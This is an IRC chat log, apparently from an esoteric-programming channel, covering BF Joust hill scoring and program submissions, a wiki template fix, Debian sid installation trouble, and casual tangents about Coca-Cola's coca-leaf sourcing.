21:16:24 <quintopia> elliott: actually, it's not fixed point. i was mistaken XD. it cycles because the top 3 are cyclical
21:16:30 <quintopia> i don't know how to resolve that
21:16:42 <elliott> quintopia: If you visit the same program twice, the second time, return score 0.
21:16:56 <elliott> quintopia: Try with that
21:17:14 <elliott> quintopia: Basically for any call of S(p) keep a bag for that call and its sub-calls :P
21:17:25 <elliott> And if you ever recurse on a program that you've already seen, return 0.
21:17:37 <quintopia> elliott: that requires work. right now i'm just multiplying a matrix by a vector repeatedly.
21:17:47 <quintopia> you want me to write an actual *algorithm*
21:17:56 <elliott> quintopia: A dumb recursive algorithm is not much of an algorithm :P
21:18:19 -!- augur_ has joined.
21:18:21 <quintopia> it's not dumb if you're making it dynamic programming
21:18:31 <elliott> quintopia: Don't then.
21:18:48 -!- augur has quit (Read error: Connection reset by peer).
21:19:15 <ais523> I don't really like being at #1, it makes people target me
21:19:16 <elliott> quintopia: Or, even better idea: If you get called upon to return the score of a program you've already seen, return its score per the last iteration.
21:19:22 <ais523> but I suppose it's nice to be there occasionally
21:20:33 <pikhq_> Grawr.
21:20:35 -!- pikhq_ has changed nick to pikhq.
21:20:53 <ais523> hmm, did pikhq ever joust? I can't remember
21:21:00 <pikhq> Nope!
21:21:19 <elliott> write a jouster in PEBBLE :P
21:21:27 <elliott> hideous inefficiency awaits
21:21:35 <pikhq> That'd involve writing a new backend.
21:21:47 <elliott> ORLY?
21:21:50 <elliott> Valid BF = valid BF Joust.
21:21:55 <pikhq> Oh, never mind.
21:22:03 <pikhq> elliott: Funny thing is, PEBBLE is one of the more efficient high-level languages targetting Brainfuck.
21:22:06 <elliott> pikhq: ()* and ()% are just conveniences :P
21:22:24 <pikhq> ()* and ()% could probably be added with ease.
21:22:36 <ais523> OTOH, BF Joust doesn't follow normal programming physics
21:22:58 <ais523> assigning to a variable then checking several times that its value is still the same would normally be considered insane
21:23:04 <ais523> but it's par for the course when jousting
21:23:13 <pikhq> Probably helps a lot that PEBBLE is higher-level than Brainfuck but still *insanely* low-leve.
21:23:26 <pikhq> Low-level, rather.
21:23:38 <pikhq> It doesn't even have normal conditionals!
21:23:58 <elliott> pikhq: Yeah, but BF Joust makes assumptions like ais523 said :P
21:24:15 <pikhq> elliott: Maybe a Joust-specific set of macros would be handy.
21:24:22 <ais523> 1cnis would make a good BF Joust preprocessor, IMO
21:24:24 <elliott> ais523: also, sure it makes sense, some people actually think that writing code like that is _sane_
21:24:31 <elliott> ais523: see: people who think shared memory is a good idea (crazy people)
21:24:32 <quintopia> elliott: how about iterating until it sees a scoreboard its seen before and then averaging the entire cycle?
21:24:39 <pikhq> Thing is, PEBBLE is really little more than a macro system for Brainfuck.
21:24:44 <elliott> shared memory concurrency, that is
21:24:48 <elliott> quintopia: if that works, then sure
21:24:50 <elliott> quintopia: try it
21:24:52 <ais523> macro system would be nice too
21:24:57 <ais523> e.g. defend9.25 has two almost identical halves
21:24:58 <pikhq> ... With optional variable support.
21:25:08 <ais523> and one bug I came across was changing things in one half but not the other
21:25:15 <ais523> double reverse tripwire programs are like that
21:25:24 <ais523> (and using one reverse tripwire tends not to work well IME)
21:25:32 <elliott> quintopia: but will that work if only the top four are cyclic? it might be thousands of scoreboards before you see the exact same scoreboard
21:25:39 <elliott> because of the butterfly effect on the programs below
21:25:56 <elliott> maybe even millions
21:26:04 <elliott> ais523: well, ()% is already pretty powerful
21:26:08 <quintopia> elliott: it would be a very unusual scoreboard with a cycle that long
21:26:17 <elliott> ais523: and a macro language would probably end up insane, vs. using a program to generate
21:26:20 <ais523> elliott: indeed
21:26:24 <elliott> quintopia: but only the four top cycles
21:26:26 <elliott> quintopia: the rest don't
21:26:32 <elliott> so while the first four could go around in a tight cycle
21:26:36 <elliott> the programs below could change constantly
21:26:37 <elliott> because of those changes
21:26:44 <quintopia> no i don't think so
21:26:59 <quintopia> i think everything that isn't actually in a cycle will settle down
21:27:29 <quintopia> the cyclical ones just trade fractions of points with one another after that
21:27:51 <elliott> quintopia: yeah, but the other programs' scores are based on the top four
21:27:57 <elliott> so when they trade, the ones below trade too
21:28:03 <elliott> and possibly in a way that takes longer to cycle
21:30:23 <Gregor> SodaStream's Pete's Choice and Diet Pete's Choice may be better than Dr. Pepper and Diet Dr. Pepper, respectively.
21:30:49 <elliott> Really?
21:31:01 <elliott> Gregor: *Dr, btw
21:31:01 <elliott> no .
21:31:06 <elliott> Gregor: Oh wait, over in the US of A your soft drinks are all HFCS.
21:31:12 <elliott> Try sugar Dr Pepper, I hear it's a rarity there.
21:31:16 <quintopia> Gregor: have you tried making a Coke-alike?
21:31:30 <variable> elliott: tis called silly marketing
21:31:30 <Gregor> quintopia: Not myself, Cola is really complicated.
21:31:32 <quintopia> Gregor: i mean this recipe: http://news.yahoo.com/s/yblog_thelookout/20110215/ts_yblog_thelookout/did-nprs-this-american-life-discover-cokes-secret-formulahttp://news.yahoo.com/s/yblog_thelookout/20110215/ts_yblog_thelookout/did-nprs-this-american-life-discover-cokes-secret-formula
21:31:33 <elliott> Yeah.
21:31:35 <elliott> I was gonna say.
21:31:38 <elliott> Cola is fucking complicated :P
21:31:41 <quintopia> whoops
21:31:43 <quintopia> doublelink
21:31:43 <elliott> Even OpenCola looks like a pain.
21:31:46 <quintopia> sry
21:31:51 <Gregor> quintopia: In spite of the "article", that's not new news :P
21:31:54 <elliott> quintopia: Did they actually reveal the recipe or just the ingredients?
21:31:59 <elliott> The ingredients are irrelevant.
21:32:13 <elliott> http://www.colawp.com/colas/400/cola467_recipe.html = OpenCola
21:32:16 <quintopia> Gregor: it's not news, it's just a place on the internet you can find a cokealike recipe
21:32:16 <variable> elliott: Article not found or expired on Yahoo! News
21:32:22 <elliott> I want to try and make OpenCola sometime
21:32:24 <elliott> variable: not my link...
21:32:26 <elliott> quintopia's
21:32:29 <elliott> quintopia: http://www.colawp.com/colas/400/cola467_recipe.html
21:32:32 <elliott> OpenCola ftw
21:32:33 <Gregor> There are lots of colas *shrugs*
21:32:35 <elliott> ( http://en.wikipedia.org/wiki/OpenCola_(drink) )
21:32:47 <quintopia> elliott: don't click the link. copy and paste the first half of the link
21:32:54 <elliott> ...
21:33:00 <elliott> VARIABLE THINKS I'M QUINTOPIA
21:33:03 <elliott> QUINTOPIA THINKS I'M VARIABLE
21:33:06 <elliott> BUY AN IRC CLIENT YOU GUYS
21:33:11 <elliott> One that distinguishes names :P
21:33:23 <quintopia> http://news.yahoo.com/s/yblog_thelookout/20110215/ts_yblog_thelookout/did-nprs-this-american-life-discover-cokes-secret-formula
21:33:26 <quintopia> there
21:33:28 <quintopia> that's it not doubled
21:33:29 <quintopia> geez
21:33:44 -!- pikhq_ has joined.
21:33:45 <elliott> quintopia: ALSO: Making Coca-Cola is illegal.
21:33:52 <elliott> 'Cuz good fucking luck buying coca leaves, dude.
21:33:56 -!- pikhq has quit (Ping timeout: 264 seconds).
21:33:57 <quintopia> ...
21:34:05 <variable> elliott: how about I preface every statement in this channel with your name?
21:34:06 <quintopia> coca-cola uses cocaine free coca leaves
21:34:10 <elliott> quintopia: Yes.
21:34:11 <quintopia> and it's perfectly legal to
21:34:13 <elliott> quintopia: Which aren't sold to anyone else.
21:34:34 <quintopia> elliott: my client makes you and variable the same color. everyone else is different
21:34:35 <elliott> Which kinda puts a stopper on the idea.
21:35:03 <quintopia> are you sure it's impossible to acquire them?
21:35:12 <elliott> quintopia: Pretty damn sure.
21:35:33 <quintopia> how do they do that?
21:35:36 <quintopia> money?
21:35:37 <elliott> quintopia: This, quite understandably, riles some people up.
21:35:42 <elliott> quintopia: Um, yes, money.
21:35:47 <elliott> Coca-Cola is a friggin' huge corporation.
21:35:52 <elliott> [[Because cocaine is naturally present in coca leaves, today's Coca-Cola uses "spent," or treated, coca leaves, those that have been through a cocaine extraction process, to flavor the beverage. The coca leaves are imported from countries like Peru and Bolivia, and they are treated by chemical company Stepan, which then sells the de-cocainized residue to Coca-Cola.[3] Some contend that this process cannot extract all of the cocaine alkaloids at a
21:35:52 <elliott> molecular level, and so the drink still contains trace amounts of the stimulant.[1][4] The Coca-Cola Company currently refuses to comment on the continued presence of coca leaf in Coca-Cola.[5][6]]]
21:36:01 <elliott> tl;dr all they have to do is tell Stepan not to sell them to anyone else.
21:36:11 <Gregor> ais523: My client doesn't color people, and yet I never seem to get them confused.
21:36:13 <Gregor> *ba-dum ching*
21:36:28 <ais523> Gregor: that was a strange choice of nick to ping
21:36:29 <quintopia> elliott: bah. what's stopping a different company from doing that extraction process?
21:36:33 <elliott> quintopia: I'm pretty sure you need Special Permission(TM) to treat the coca leaves too, considering they, you know, have cocaine in them.
21:36:42 <variable> funny note about Coca-Cola - the branch is worth so much that if their factories burnt down they could borrow against their name to rebuild
21:36:50 <elliott> quintopia: (This is reddit-accuracy-level information, but the logic checks out.)
21:36:58 <elliott> quintopia: ((I literally read it on reddit :P))
21:37:35 <quintopia> elliott: why not buy spent coca leaves from drug cartels? then you haven't bought illegal coca leaves or done the illegal extraction yourself
21:37:46 <elliott> DEALING WITH DRUG CARTELS: Totally legal
21:37:55 <quintopia> is it not? :P
21:38:02 <elliott> I don't... think so X-D
21:38:03 <variable> elliott: considering that you didn't buy anything illegal...
21:38:11 <elliott> *so, unless you have tons of money, like everything.
21:38:11 <quintopia> ^
21:38:16 <variable> you would just be financing them
21:38:18 <elliott> Yeah, but are the drug cartels doing business legally?
21:38:29 <pikhq_> Deal with the Yakuza.
21:38:30 <elliott> I think if you knowingly did business with drug cartels who aren't doing business legally, that would be illegal.
21:38:34 <quintopia> it doesn't matter what they do with your money. that's them being illegal, not you
21:38:38 <pikhq_> They *are* in fact perfectly legitimate businessmen..
21:38:39 <pikhq_> :P
21:38:53 <elliott> ANYWAY, point is that an _individual_ is never gonna be able to legally make Coca-Cola because of this :P
21:39:01 <elliott> quintopia: I'm sure knowingly funding illegal activities is illegal, dude.
21:39:08 <pikhq_> elliott: In certain jurisdictions.
21:39:09 <elliott> Considering that you're actually BUYING the results of an illegal activity.
21:39:12 <elliott> Rather than it just being indirect.
21:39:27 <variable> elliott: its not illegal to pay for something in cash if you know the store owner won't pay taxes on it
21:40:01 <variable> (IANAL)
21:40:18 <elliott> variable: Drug cartel = people who don't pay taxes! :P
21:40:47 <variable> elliott: note the word _not_
21:40:56 -!- MigoMipo has quit (Read error: Connection reset by peer).
21:41:05 <elliott> variable: right
21:41:13 <elliott> variable: I'm saying that I'm not sure the situation is comparable :P
21:41:18 <variable> hehe
21:41:34 * variable has to go for a bit
21:42:18 <Gregor> I have a T-Rex is Lonely comic queued that is ... so bad. So, so bad. Good bad, that is. So bad.
21:43:06 <pikhq_> elliott: In many South American countries it is actually entirely legal to grow and consume coca leaves.
21:43:10 -!- pikhq_ has changed nick to pikhq.
21:43:12 <elliott> Right.
21:43:20 <elliott> So to make Coca-Cola, move to South America :P
21:43:37 <elliott> Gregor: Link :P
21:43:44 <Gregor> elliott: I shouldn't! It's queued!
21:43:50 <elliott> Gregor: WE WON'T TELL.
21:43:51 <quintopia> this discussion makes me want to illegally make some coca-cola
21:44:02 <Gregor> elliott: Maybe I'll PM if you convince me :P
21:44:02 <elliott> 07:17:17 <fungot> Phantom_Hoover: nah theres australia mmmmmmmmate!!!! causes hallucinations, and you didn't reply directly to you kz 2!
21:44:03 <elliott> Australia: Causes hallucinations, mmmmmmmmate!!!!
21:44:18 <elliott> Gregor: I would tell absolutely ZERO people, which is ONE LESS THAN ONE (but ONE MORE THAN NEGATIVE ONE).
21:45:23 <pikhq> Inexplicably, coca leaves in *most* countries are treated identically to cocaine.
21:47:11 <quintopia> gregor: i think only putting "champion" programs on the wiki makes it so that we'll never see any of ais523's awesome defenders there since they can't really be champions.
21:47:33 <ais523> quintopia: several of my defenders are there already
21:47:34 <Gregor> quintopia: #1s was just a baseline.
21:47:40 <ais523> defend13 was champion for a time, IIRC
21:47:42 <pikhq> Which seems a bit like banning rye bread because LSD can be synthesized from ergot.
21:48:00 <quintopia> ergotamine -> lysergic acid? really?
21:48:10 <quintopia> never paid much attention to that
21:48:13 <pikhq> quintopia: That is how it was originally synthesized, actually.
21:48:22 <quintopia> i probably knew that at one point
21:48:28 <quintopia> when i was studying it
21:48:36 <Deewiant> Rye bread might have relatively more legal uses than cocaine
21:48:44 <quintopia> pikhq: or banning hemp >.<
21:48:58 <elliott> Deewiant: *than coca leaves
21:49:03 <Deewiant> Right :-D
21:49:06 <elliott> Deewiant: Does making cola count?
21:49:09 <elliott> :p
21:49:19 <elliott> Deewiant: Ooh, but what about getting high?
21:49:20 <elliott> ...wait...
21:49:57 <quintopia> i wonder if it's possible to breed a coca plant that tastes the same but doesn't produce cocaine
21:50:29 <Deewiant> Coca-Cola might contain coca but I don't think other colas do
21:50:44 <elliott> quintopia: Wouldn't it be simpler to legalise cocaine :P
21:50:45 <pikhq> Deewiant: Before extracting cocaine from the leaves became possible/common, consuming the leaves straight was a very common and not-very-notable thing...
21:50:56 <quintopia> it would be false advertising if coca-cola did not contain coca!
21:51:06 <elliott> Yeah isn't there that stuff about all the KULCHURES complaining about people wanting to ban chewing coca leaves
21:51:20 <pikhq> In the quantities of cocaine one gets from there, it's really no different than caffeine.
21:51:49 <quintopia> we should try to do cocaine extraction from coca-cola...
21:52:20 <Deewiant> pikhq: So was slavery but we still prefer to not do it these days
21:52:26 <pikhq> Apparently there's been no documented addictions to coca leaves.
21:52:33 <elliott> "In the United States, Stepan Company is the only manufacturing plant authorized by the Federal Government to import and process the coca plant"
21:52:35 <elliott> TOLD YOU
21:52:54 <elliott> US: Bullshit, or total bullshit?? You decide
21:52:55 <pikhq> Deewiant: Sure we do; we just call it different things.
21:52:59 <pikhq> Like "minimum wage".
21:53:15 <elliott> Minimum wage is ... slavery? :wat:
21:53:16 <quintopia> and any other company that would try would be stopped, of course, because coca-cola would pay to have it stopped
21:53:24 <elliott> Sounds like the kind of thing a libertarian crackpot would say :P
21:53:26 <elliott> quintopia: "Some contend that this process cannot extract all of the cocaine alkaloids at a molecular level, and so the drink still contains trace amounts of the stimulant.[1][4] The Coca-Cola Company currently refuses to comment on the continued presence of coca leaf in Coca-Cola.[5][6]"
21:53:31 <pikhq> elliott: Minimum wage in the US is not a living wage.
21:53:35 <elliott> quintopia: Depending on how crackpotty Mr. Some is, you could possibly do it.
21:53:35 <Deewiant> pikhq: We don't have that in this country :-P
21:53:36 <elliott> pikhq: Right.
21:53:52 <elliott> Deewiant: Ha ha, Finland, you crazy.
21:54:21 <pikhq> Deewiant: Yeah, you just have strong unions.
21:54:39 <pikhq> Deewiant: Which gets the same effect and makes the "small government" wackos' heads explode.
21:54:47 <quintopia> it is in fact impossible to set minimum wage to a living wage as all increases in minimum wage result in increased cost of living
21:54:54 <quintopia> in this country i mean
21:55:16 <quintopia> with changes in other laws it might could be done
21:55:19 <pikhq> quintopia: That suggests some major economic brokenness.
21:55:30 <quintopia> pikhq: it is broken. you didn't know this?
21:56:03 <pikhq> quintopia: Well, I *am* actually aware that the US economy is really broken by now...
21:56:09 <elliott> pikhq: Unions don't make small government wackos' head explode.
21:56:15 <elliott> pikhq: How can something they've outlawed confuse them? :)
21:56:21 <pikhq> elliott: Unions *instead of* a government, however?
21:56:52 <elliott> pikhq: Are you proposing some kind of unionocracy? :P
21:56:55 <pikhq> elliott: "The government is not involved but there's unions... MY HEAD ASPLODE!"
21:57:08 <elliott> As bad ideas go, unionocracy sounds pretty bad.
21:57:12 <pikhq> elliott: I believe the proper term for that is "democracy", actually. :P
21:57:28 <elliott> Unless I'm mistaken, democracy means one thing, and what it means is not what unionocracy would mean were it in the dictionary.
21:57:55 -!- ais523 has quit (Remote host closed the connection).
21:58:11 -!- ais523 has joined.
22:00:33 <ais523> !bfjoust vibration_fool_faster >>>++++<----<++++<(-)*127.(-+)*50000
22:00:57 <EgoBot> Score for ais523_vibration_fool_faster: 23.8
22:01:04 <ais523> not bad for a winner from ages ago
22:01:10 <quintopia> nice job
22:01:16 -!- augur_ has quit (Ping timeout: 255 seconds).
22:01:18 <quintopia> you knocked our last shudderer off :P
22:01:21 <ais523> heh, it beats defend9.5
22:01:26 <pikhq> elliott: THOU ART MISTAKEN.
22:01:31 <pikhq> elliott: FOR I HATH DECREED IT.
22:01:38 <ais523> good_vibrations is still there; is it a shudderer or a vibrator?
22:01:54 <quintopia> oh
22:01:57 <elliott> ais523: I believe I readded vibration_fool_faster ages ago
22:01:58 <elliott> or Gregor
22:02:01 <quintopia> it was at the bottom last i checked
22:02:05 <quintopia> it'll be gone soon
22:02:17 <ais523> elliott: you didn't re-add an exact copy
22:02:20 <quintopia> pikhq: hath is present tense. you mean "did decree"
22:02:25 <Deewiant> elliott: elliott_return_of_vibration_fool_fasting_because_it_is_lent_mathematica_edition.bfjoust
22:02:27 <ais523> because it gets a different score from the actual VFF
22:02:30 <elliott> ais523: I did; must have been a different version
22:02:31 <elliott> oh
22:02:32 <elliott> Deewiant: that's not VFF
22:02:35 <Gregor> Gregor_julius_freezer is a shudderer
22:02:40 <elliott> that's my modification of VFF resubmitted
22:02:42 <elliott> it was literally called that
22:02:48 <Deewiant> I know
22:02:51 <ais523> elliott: how did you modify it?
22:02:56 <elliott> ais523: Randomly, probably
22:02:59 <Deewiant> I just think that's the only related one you've added
22:02:59 <ais523> heh
22:03:00 <elliott> I have no idea how it was Mathematica edition
22:03:12 <elliott> I think it's still on the hill, though, relatively high up too
22:03:21 <elliott> 42 31 23.36 -7.24 elliott_return_of_vibration_fool_fasting_because_it_is_lent_mathematica_edition.bfjoust
22:03:23 <elliott> OK, not so high.
22:03:34 <elliott> 41 22 23.70 -3.55 ais523_defend9_5.bfjoust
22:03:38 <elliott> wow, 9.5 must have been pretty bad
22:03:45 <ais523> it isn't /bad/, but it's passive
22:03:51 <ais523> which tends to make programs score badly
22:04:00 <ais523> it's also vulnerable to turtles, and there are a bunch of those around
22:04:12 <ais523> 9.75 is just 9.5 with those weaknesses fixed, and look how much better it's doing
22:04:45 <ais523> heh, strangely 9.5 beats decoybooster2 and 9.75 doesn't, but that's the only exception to 9.75 beating or tying 9.5
22:04:46 <elliott> so the next Debian release will be called wheezy
22:04:49 <elliott> which is a pretty bad name
22:05:07 <ais523> (also, 9.5 beats 9.75, but I can manipulate that result trivially)
22:05:12 <elliott> 08:16:29 <Gregor> $ du -h furry_furry_dominance_girls.bfjoust
22:05:12 <elliott> 08:16:29 <Gregor> 71Mfurry_furry_dominance_girls.bfjoust
22:05:13 <elliott> 08:16:32 <Gregor> Hahawhoops
22:05:13 <elliott> 08:23:37 <ais523> that could take a while to run
22:05:13 <elliott> 08:23:40 <ais523> even in lance
22:05:17 <elliott> Um, lance would tell Gregor that program is too big X-D
22:05:29 <quintopia> ais523: does the definder sequence ever go to zero if the opponent is not changing the flag?
22:05:35 <elliott> 07:59:09 <Phantom_Hoover> http://i.min.us/il4KQQ.jpg
22:05:35 <elliott> 07:59:19 <Phantom_Hoover> I don't think this person realises that this already exists and it's hideous.
22:05:36 <elliott> heh, I use to use that user javascript
22:05:38 <elliott> but it was horrible and annoying
22:05:40 <elliott> so i removed it
22:05:48 <quintopia> aka, go to zero and stop there
22:05:48 <ais523> (and I know why it happens, I think I might even have done it that way round deliberately)
22:05:51 <Gregor> "<elliott> heh, I use to use that user javascript" wtf
22:05:51 <elliott> (ais523: that one that gave an orange box of any page link you hovered over)
22:05:56 <elliott> <elliott> (ais523: that one that gave an orange box of any page link you hovered over)
22:06:01 <elliott> You put it in your monobook.js.
22:06:10 <ais523> quintopia: the original doesn't; definder2 does, IIRC
22:06:18 <elliott> 08:30:27 <Gregor> We should set a size limit :P
22:06:18 <elliott> 08:30:29 <Gregor> Maybe 640K
22:06:25 <elliott> Gregor: lance's is 1 Mio I think.
22:06:28 <elliott> (ha, stole the o stuff from Deewiant)
22:06:32 <Deewiant> Thief
22:06:34 <Gregor> 640K instruction characters, not input characters.
22:07:16 <ais523> elliott: mibioctet?
22:07:21 <ais523> *mebioctet
22:07:22 <elliott> ais523: yep
22:07:22 <Deewiant> mebi*
22:07:25 <elliott> yep
22:07:31 <ais523> a mibicotet would be, umm, 1/1024th of an octet?
22:07:32 <elliott> Deewiant: But do you say kio or Kio?
22:07:40 <elliott> 08:39:53 <cheater00> look what digging up my browser history brought
22:07:40 <elliott> 08:40:00 <cheater00> an old paste with vagrant on it
22:07:40 <elliott> rolleyes
22:07:41 <Deewiant> kibi is Ki
22:07:47 <elliott> Deewiant: But that's Inconsistent.
22:07:52 <Deewiant> kibi is Ki.
22:07:55 <elliott> Deewiant: (And not SI standard anyway, so it's irrelevant,)
22:07:57 <elliott> *irrelevant.
22:08:00 <quintopia> ais523: did you ever test the original definder without the tripwire, egodeath style?
22:08:12 <elliott> Deewiant: Who cares what the IEC says :P
22:08:15 <ais523> quintopia: *Nyarlathotep style?
22:08:17 <elliott> ki is far more consistent.
22:08:20 <ais523> and no, I don't think I did
22:08:26 <quintopia> egodeath did it too iirc
22:08:31 <Deewiant> k is inconsistent in the first place :-P
22:08:39 <elliott> Deewiant: But it's SI, and SI standards are unquestionable.
22:08:44 <ais523> but the timings would be off if the opponent took more than 98 turns to turn up
22:08:46 <ais523> which happens quite a lot
22:09:15 <elliott> I love how I can say "34 kb" to mean 4.15 kio :P
22:09:20 <elliott> SUCH CONFUSE
22:09:25 <elliott> (kilobits)
22:09:26 <ais523> elliott: kilobels?
22:09:30 <ais523> oh, that's B
22:09:33 <elliott> ais523: kilobits, bits is lowercase b
22:09:39 <quintopia> ais523: you can determine the most likely moment for the opponent to show up by examining timings on the current hill and just wait that long
22:09:55 <ais523> quintopia: wow that'd be overspecific to the current hill
22:09:59 <ais523> and such programs tend to do badly
22:11:04 <elliott> I'm going to use "1 do" to mean 0.8 b.
22:11:10 <elliott> (decioctet)
22:11:28 <elliott> "Oh yeah, that's about 100 dos" = "Oh yeah, that's about 10 bits".
22:11:29 <elliott> SO CONFUSING
22:11:31 <quintopia> ais523: i doubt it would be actually. i suspect an average of timings over the current hill would be well-suited to the future as well. however, i expect that it would do badly in any case, i was just wondering how badly
22:12:10 -!- augur has joined.
22:12:18 <elliott> Hey Gregor
22:12:20 <elliott> Your template is broken
22:12:21 <elliott> "http://codu.org/eso/bfjoust/egojsout/?ap&l=5d19f8ddd438f31e319b3e7e33b7f06cd4d444d7&r=simple&t=25{{{p}}}"
22:12:27 <elliott> You need {{{p|}}}
22:12:36 <elliott> Or, preferably, {{qif|test={{{p|}}}|then=&p}}
22:12:44 <elliott> Then you can just do |p=1 in the template invocation.
22:12:47 <quintopia> elliott: just use |t=32&p
22:12:50 <elliott> Permission to fix?
22:12:52 <Gregor> Uhhh ... I don't think I put {{{p}}} there ...
22:12:52 <quintopia> it works i promise
22:12:55 <elliott> Gregor: You totally did.
22:12:57 <elliott> Or someone did.
22:12:58 <elliott> Not me.
22:13:10 <elliott> I'll add {{{p}}} support anyway :P
22:13:12 <elliott> Or rather, fix it.
22:13:18 <elliott> (cur) (last) 17:38, 15 February 2011 Ais523 (Talk | contribs) (add option to allow polarity invert)
22:13:19 <elliott> Blame found
22:13:31 <ais523> elliott: I was just going to fix that, because I just noticed it unrelatedly to you telling me
22:13:37 <elliott> TOO BAD ALREADY FIXED
22:13:47 <elliott> erm
22:13:49 <elliott> failed edit
22:13:56 <elliott> argh
22:13:59 <elliott> mediawiki is so slow
22:14:13 <ais523> looks like I got there first
22:14:22 <elliott> ais523: you fixed it wrong, though :P
22:14:25 * elliott fixes properly
22:14:38 <ais523> you're not going to use qif, are you?
22:14:40 -!- poiuy_qwert has joined.
22:14:49 <elliott> ais523: ALREADY DID
22:14:54 <elliott> It's like Christmas in a template.
22:15:12 <elliott> Fixed the article too.
22:15:14 <elliott> (removed &p stuff)
22:15:19 -!- ais523 has quit (Read error: Connection reset by peer).
22:15:23 <elliott> Gregor: Can't you just make the p parameter take either "sieve" or "kettle"? :P
22:15:26 <elliott> That would be far, you know, saner.
22:15:35 <elliott> Then we could just do &p={{{p|sieve}}}
22:15:36 <Gregor> elliott: I could. I choose not to. To make you hurt.
22:16:09 <elliott> argh )
22:18:48 -!- pikhq_ has joined.
22:18:51 -!- pikhq has quit (Ping timeout: 260 seconds).
22:27:08 -!- Ilari_ has changed nick to Ilari.
22:30:13 -!- augur_ has joined.
22:31:21 -!- augur has quit (Read error: Connection reset by peer).
22:36:41 -!- Sgeo has joined.
22:37:19 -!- augur_ has quit (Remote host closed the connection).
22:38:34 -!- poiuy_qwert has quit (Quit: This computer has gone to sleep).
22:42:01 -!- BeholdMyGlory has joined.
22:45:54 -!- Behold has quit (Ping timeout: 264 seconds).
22:50:51 <elliott> Debian sid is currently completely uninstallable.
22:51:04 <elliott> "linux-image-2.6-686 : Depends: linux-image-2.6.37-1-686 but it is not installable"
22:52:37 <quintopia> why do you need sid? what's it got that squeeze ain't got?
22:53:23 <pikhq_> elliott: Debian sid is always uninstallable.
22:53:25 <elliott> quintopia: *wheezy, surely.
22:53:27 <elliott> pikhq_: Untrue.
22:53:27 -!- pikhq_ has changed nick to pikhq.
22:53:39 <elliott> pikhq: The debian-installer nightly businesscard images offer sid installation.
22:53:42 <elliott> But it's not guaranteed to ever work :P
22:53:46 <pikhq> elliott: Oh, never mind.
22:53:52 <elliott> quintopia: squeeze is the current stable release (i.e. will rapidly become a dinosaur).
22:53:59 <elliott> quintopia: wheezy is the current testing release.
22:54:04 <elliott> quintopia: I want to install sid because I'm ker-azy.
22:54:09 <quintopia> O KAY
22:54:10 <pikhq> squeeze is *slightly* out-of-date as-is.
22:54:13 <elliott> And because wheezy isn't even security-team-supported right now.
22:54:16 <elliott> So it'd be a waste of time :P
22:55:08 <elliott> "Warning: Failure when configuring base packages."
22:55:17 <elliott> sid installed yesterday, but wouldn't boot :-D
22:55:19 <elliott> now it won't even install
22:56:16 <pikhq> Sid is probably all sorts of crazy right now.
22:56:25 <elliott> pikhq: The technical term is "fun".
22:56:39 * elliott tries linux-image-2.6.32-5-686. Specificity will set you free!
22:56:55 <elliott> Woop, seems to be working.
22:57:05 <pikhq> As they're probably putting in every single package that couldn't make it in during the Squeeze testing freeze.
22:58:07 <elliott> Happy tenth birthday, All Your Base.
22:58:58 <elliott> pikhq: The freeze model is a bit broken.
22:59:36 <pikhq> elliott: Yeaaah.
23:00:42 <pikhq> It'd make a bit more sense, IMO, to have testing as a rolling release model, fork for a stable release, and do bug fixes on that fork.
23:01:14 <elliott> Or just have a stable rolling release :P ... nah, that would be impossible with Modern Linux.
23:01:36 <elliott> Unless you're deluded enough to think that every software will support udeviceHALKit the day it comes out.
23:01:46 <elliott> (Or, indeed, before its predecessor removed entirely.)
23:01:49 <elliott> *is removed
23:04:03 -!- Behold has joined.
23:07:17 -!- BeholdMyGlory has quit (Ping timeout: 246 seconds).
23:08:23 -!- poiuy_qwert has joined.
23:08:57 -!- zzo38 has joined.
23:10:42 <Gregor> All the strategies I've tried for furry_furry_leather_discipline_girls have gone awry >_>
23:11:04 <elliott> So what comes after furry_furry_leather_discipline_girls?
23:11:10 <elliott> I'm scared.
23:11:16 -!- FireFly has quit (Quit: swatted to death).
23:12:10 <Gregor> >: )
23:12:10 -!- augur has joined.
23:12:27 <Gregor> I've got a list, but then I start to run low on femdom-inspired sexual fetishes ...
23:12:43 <elliott> X-D
23:12:51 <zzo38> Gregor: Just select words at random, then?
23:13:07 <elliott> furry_furry_exegesis_girls
23:13:10 <elliott> Gregor: DO IT
23:15:21 <pikhq> Gregor: Shouldn't run out of fetishes in general, though.
23:15:42 <Gregor> The furry furry girls are dominatrixes :P
23:15:58 <Gregor> (They're not the ones in bondage, you are)
23:17:19 <elliott> Are they just furry, or furry furry?
23:17:41 <pikhq> They're furry furries.
23:20:33 <Gregor> I don't think you can comprehend how furry they are.
23:21:04 <pikhq> I was stating that they are furry (as in very, very hairy) and furry (as in the subculture).
23:22:02 <elliott> Gregor: Comment on the hairiness of the aforementioned girls?
23:22:16 <Gregor> Only the latter.
23:22:31 <Gregor> They have a normal, human amount of hair.
23:22:42 <Gregor> Which they may or may not do less with than the average western female.
23:23:06 <pikhq> *Awww*.
23:23:39 <pikhq> I was imagining near-apes in fursuits.
23:27:23 <elliott> Gregor: But they have reaaaaally long armpit hair, right?
23:27:35 <elliott> Like, they could fashion a cushion out of it and sit on it.
23:27:40 <elliott> That would be pretty darn furry.
23:27:42 <Gregor> pikhq: Hey, keep your fetishes to yourself.
23:27:45 <Gregor> pikhq: They've got their own.
23:27:51 <pikhq> Gregor: I never said it was my fetish.
23:28:05 <pikhq> Gregor: I simply state that furry people in fursuits would be funny.
23:28:22 <zzo38>
23:28:31 <elliott>
23:28:50 <zzo38> Oops, sorry, I think I wrote it wrong by mistake
23:30:12 <zzo38> Now answer my question
23:31:09 <elliott> What question
23:31:24 <zzo38> This question?
23:31:32 <elliott> wat
23:32:44 <zzo38> Actually that isn't the question. The question is, how to figure out what other people that are interested with TeXnicard to comment/help?
23:34:55 <zzo38> And how do I fix the lights in the keyboard?
23:38:08 <quintopia> i've tried finding other people for you zzo38 but it means finding someone like you, and so no such person exists
23:39:42 <zzo38> quintopia: At least you tried. However, maybe there are people interested in these kind of things if you want to make high-quality card game... . If you cannot answer that, however, can you answer the other question about how fix the lights in the keyboard?
23:41:15 <zzo38> How am I supposed to find the people interested in this cards, by myself?
23:41:54 <quintopia> ask on forums where geeky people frequent
23:42:47 <quintopia> and if you disassemble your keyboard you can maybefigure out what's wrong and fix it
23:43:53 <Gregor> Hahah, I've upped my fail and generated 400MB :P
23:44:29 <elliott> Gregor: So if lance supports 400 meg programs...
23:46:24 <elliott> Y'know, maybe I should actually work on lance :P
23:46:30 <elliott> I'll... do that now.
23:47:53 <Gregor> No, we should set a hard instruction limit (unexpanded)
